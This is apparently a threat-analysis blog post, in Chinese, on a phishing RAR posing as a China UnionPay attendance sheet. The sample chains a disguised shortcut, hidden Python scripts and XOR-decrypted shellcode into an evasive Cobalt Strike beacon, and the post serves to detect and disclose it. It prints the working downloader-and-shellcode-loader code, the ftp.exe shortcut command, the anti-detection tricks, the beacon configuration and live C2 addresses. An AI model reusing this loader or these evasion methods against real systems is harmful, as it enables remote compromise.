近期,在日常分析工作中,无意间捕获到了一款钓鱼样本,尝试进行简单分析,发现此样本在VT上无记录,同时使用腾讯电脑管家提示未发现风险。
原猜想会不会是APT组织的攻击样本,不过,在经过详细分析后,才发现此样本应该是HW期间的钓鱼样本。
样本整体功能不是很复杂,就是通过钓鱼文件外链下载解密shellcode,然后通过shellcode在内存中解密释放并运行Cobalt Strike的木马样本,以此实现实现远程控制。
为了避免钓鱼样本在运行过程中被杀毒引擎查杀,攻击者在整个攻击场景中还使用了多种技术避免被杀毒引擎查杀检测。
免杀钓鱼样本
样本基本信息如下:
文件名称:中国银联考勤信息核对表.rar
文件大小:6739934 字节
MD5 :A269B0C88AE1410C75034219C7DE34A6
SHA1 :048B60B9B2858D990F5F5466CD6865FCFBCDF298
CRC32 :D7A56038
杀毒引擎查杀情况
尝试使用多款杀毒引擎对其进行查杀,发现除360外,其余杀毒引擎均提示无风险,详细情况如下:
- 腾讯电脑管家:未发现风险
- 火绒剑:未发现风险
- 360安全卫士:发现可疑lnk文件
相关查杀截图如下:
钓鱼样本分析
中国银联考勤信息核对表.docx.lnk
尝试对压缩包进行解压,发现解压后的文件包含一个快捷方式文件和一个隐藏目录,相关截图如下:
尝试对快捷方式进行分析,发现此快捷方式主要用于调用__init__\
隐藏目录下的libEGL.dll文件,快捷方式指令如下:
C:\Windows\System32\ftp.exe -""s:__init__\libEGL.dll
libEGL.dll
查看libEGL.dll文件内容,发现此文件并非dll文件,而是txt文本文件,主要用于:
- 运行
__init__\
隐藏目录下的main.pyw文件:恶意文件 - 运行
__init__\
隐藏目录下的11.docx文件:迷惑文档
相关截图如下:
main.pyw
查看main.pyw文件内容,发现此文件主要用于调用action.py文件,相关截图如下:
action.py
尝试对此文件进行分析,发现此文件中包含了外链地址及解密代码,尝试梳理其运行逻辑:
- 外链请求
message-pdf.oss-cn-hangzhou.aliyuncs.com/vmQJM81Ry
下载载荷1 - 使用解密算法对下载载荷1进行解密
- 解密算法:每4个字符提取一个1个字符,用于生成新的base64编码字符串,然后使用base64解码
- 使用解密算法对OO0OOO00O0O00OO0O变量数据进行解密,获得载荷2数据
- 加载载荷2代码,运行后将执行下载载荷1的解密代码
- 下载载荷1的解密代码运行后,将继续外链
ryhv9ym3hldwf.oss-cn-shenzhen.aliyuncs.com/UNdk8Ps
下载载荷3 - 使用解密算法对下载载荷3进行解密,生成shellcode载荷
- 解密算法:先对数据进行base64解码,然后使用异或算法进行异或运算,异或密钥:InlvnrOXjmrdNjNgR
- 调用VirtualAlloc、RtlMoveMemory、CreateThread函数加载shellcode载荷
下载载荷1内容如下:
下载载荷1解密后内容如下:
import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://ryhv9ym3hldwf.oss-cn-shenzhen.aliyuncs.com/UNdk8Ps').read()
encrypted_data = encrypted_data.strip()
while 1:
try:
#32
key = b'InlvnrOXjmrdNjNgR'
decoded_data = base64.b64decode(encrypted_data)
sc = OO0000OO00O00OOOO(decoded_data, key)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(sc), len(sc))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
except Error as e:
print(e)
OO0OOO00O0O00OO0O变量内容如下:
OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
OO0OOO00O0O00OO0O变量解密后内容如下:
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
下载载荷3内容如下:
下载载荷3解密流程如下:
shellcode分析
尝试对shellcode进行简单分析,发现此shellcode有235KB,因此推测此shellcode后续可能会释放PE文件。
解密20字节后续载荷
通过分析,发现shellcode运行后,将从shellcode偏移0xB处解密20字节后续载荷,此20字节后续载荷包含了循环异或解密算法的代码。
相关代码截图如下:
解密后续0x3A818字节载荷
通过分析,发现shellcode运行上述解密代码后,还将从shellcode偏移0x28处,解密0x3A818字节载荷,解密算法为按字节异或0x3。
相关代码截图如下:
查找PE文件头
通过分析,发现shellcode运行上述解密代码后,将尝试查找PE文件头,根据反编译代码,发现shellcode中的PE文件应该是被修改过的:
- PE头被修改成了NO
相关代码截图如下:
动态获取API
进一步分析,发现此样本将调用LoadLibrary、GetProcAddress函数实现动态获取API。
相关代码截图如下:
执行DLL函数
进一步分析,发现此样本在运行过程中,还将调用VirtualAlloc、VirtualProtect等函数,实现代码的动态加载,最后跳转至新的代码空间。
尝试对新的代码空间分析,发现此代码空间的入口函数很像DLL文件的DllEntryPoint函数。
相关代码截图如下:
DllEntryPoint函数对比截图如下:
外链通信
通过分析,发现此样本在运行过程中,还将调用WINHTTP发起网络请求,网络请求内容如下:
223.111.24.107,/api/v2/getconfig
121.29.38.230,/api/v2/getconfig
58.218.215.183,/api/v2/getconfig
221.178.6.239,/api/v2/getconfig
180.163.146.91,/api/v2/getconfig
119.84.72.233,/api/v2/getconfig
182.242.49.114,/api/v2/getconfig
User-Agent:ozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0).
Accept: */*
Cookie:SESSIONID=Cxarhe46onaiZzyjZxgIyQ5ErWqozkwuuO8KlT2EhNXBjOGw284NftrwxnaB0zcyEKMKTudfcS8BweMLBrhcshSi+F1sx+BqltAP1vfPgsW97pyW6YV2XFvBb0b5tGeDXnHY7cVajC3wyWQ8kViIA6kAc21cRegtRmkQuDgWCX4=
Host: elaber.net
相关代码截图如下:
样本家族溯源
基于上述shellcode的运行流程,发现其具备自加载功能代码及HTTPS通信功能,因此推测其可能是cobalt strike样本。
yara扫描
尝试在样本运行自加载函数(查找PE文件头的上层函数)时,提取PE文件载荷,并使用yara规则对其进行扫描,发现其可成功匹配为cobalt strike,不过匹配的字符串较少,只成功匹配了4个字符串。
相关截图如下:
免杀cobalt strike样本
基于上述分析情况进行梳理剖析,发现此样本使用了多种技术进行反狩猎:
- 字符串处理:将很多特征字符串进行了修改
- MZ头、PE头处理:将
This program cannot be run in DOS mode
字符串进行了修改 - MZ头、PE头处理:将PE头的标志修改为了NO
- 节表处理:将节表名字进行了修改
样本截图如下:
正常cobalt strike payload截图如下:
解密配置信息
尝试使用CobaltStrikeParser工具(https://github.com/Sentinel-One/CobaltStrikeParser
)提取并解密此样本的配置信息,发现可成功提取配置信息。
配置信息内容如下:
BeaconType - HTTPS
Port - 443
SleepTime - 45000
MaxGetSize - 1398104
Jitter - 37
MaxDNS - Not Found
PublicKey_MD5 - eecb6a61248995caa766949791dace93
C2Server - 223.111.24.107,/api/v2/getconfig,121.29.38.230,/api/v2/getconfig,58.218.215.183,/api/v2/getconfig,221.178.6.239,/api/v2/getconfig,180.163.146.91,/api/v2/getconfig,119.84.72.233,/api/v2/getconfig,182.242.49.114,/api/v2/getconfig
UserAgent - Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
HttpPostUri - /user/api/v3/random
Malleable_C2_Instructions - Base64 decode
HttpGet_Metadata - ConstHeaders
Accept: */*
Metadata
base64
prepend "SESSIONID="
header "Cookie"
HttpPost_Metadata - ConstHeaders
Accept: */*
SessionId
base64
prepend "JSESSION="
header "Cookie"
Output
base64
print
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner - Host: elaber.net
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\dllhost.exe
Spawnto_x64 - %windir%\sysnative\dllhost.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use direct connection
Watermark_Hash - NtZOV6JzDr9QkEnX6bobPg==
Watermark - 987654321
bStageCleanup - True
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - False
bProcInject_UseRWX - False
bProcInject_MinAllocSize - 17500
ProcInject_PrependAppend_x86 - b'\x90\x90'
Empty
ProcInject_PrependAppend_x64 - b'\x90\x90'
Empty
ProcInject_Execute - ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - NtMapViewOfSection
bUsesCookies - True
HostHeader - Host: elaber.net
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - round-robin
DNS_strategy_rotate_seconds - -1
DNS_strategy_fail_x - -1
DNS_strategy_fail_seconds - -1
Retry_Max_Attempts - 0
Retry_Increase_Attempts - 0
Retry_Duration - 0
相关截图如下:
相关码址
A269B0C88AE1410C75034219C7DE34A6
https://message-pdf.oss-cn-hangzhou.aliyuncs.com/vmQJM81Ry
https://ryhv9ym3hldwf.oss-cn-shenzhen.aliyuncs.com/UNdk8Ps
https://223.111.24.107/api/v2/getconfig(中国 江苏省 南京市)
https://121.29.38.230/api/v2/getconfig(中国 河北省 石家庄市)
https://58.218.215.183/api/v2/getconfig(中国 江苏省 徐州市)
https://221.178.6.239/api/v2/getconfig(中国 重庆市)
https://180.163.146.91/api/v2/getconfig(中国 上海市)
https://119.84.72.233/api/v2/getconfig(中国 重庆市)
https://182.242.49.114/api/v2/getconfig(中国 云南省 昆明市)